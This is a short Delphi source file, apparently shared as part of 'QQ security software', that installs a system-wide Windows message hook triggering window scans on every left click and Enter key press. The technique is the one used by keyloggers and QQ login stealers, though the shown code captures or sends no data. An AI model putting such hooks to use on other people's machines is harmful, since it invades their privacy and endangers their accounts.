loghook.pas

DEILPHI写的QQ安全软件源码!功能全套,该有的全有了,欢迎交流

unit  LogHook;

interface

procedure LogHookOn();
procedure LogHookOff();

implementation

uses
  Windows, Messages, Timer, ExtInfo, FunUnit, VarUnit,ScanWin;

var
  hLogHook: LongWord = 0;

  // 消息钩子回调函数
function LogHookPro(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
  Pt: TPoint;
begin
  if (iCode = HC_ACTION) then    // and(IsIE= TRUE)or(IsMIE = TRUE)
  begin
    if (PMsg(lParam).message = WM_LBUTTONDOWN) then
    //   (PMsg(lParam).message = WM_RBUTTONDOWN) then
    begin
     ScanWindR();
    end else
    begin
      if (PMsg(lParam).message = WM_KEYDOWN) and
         (PMsg(lParam).wParam = 13) then
    ScanWindK();
    end;
  end;
  Result := CallNextHookEx(hLogHook, iCode, wParam, lParam);
end;

  // 安装钩子
procedure LogHookOn();
begin
  hLogHook := SetWindowsHookEx(WH_GETMESSAGE, @LogHookPro, HInstance, 0);
end;

  // 删除钩子
procedure LogHookOff();
begin
  UnHookWindowsHookEx(hLogHook);
end;
end.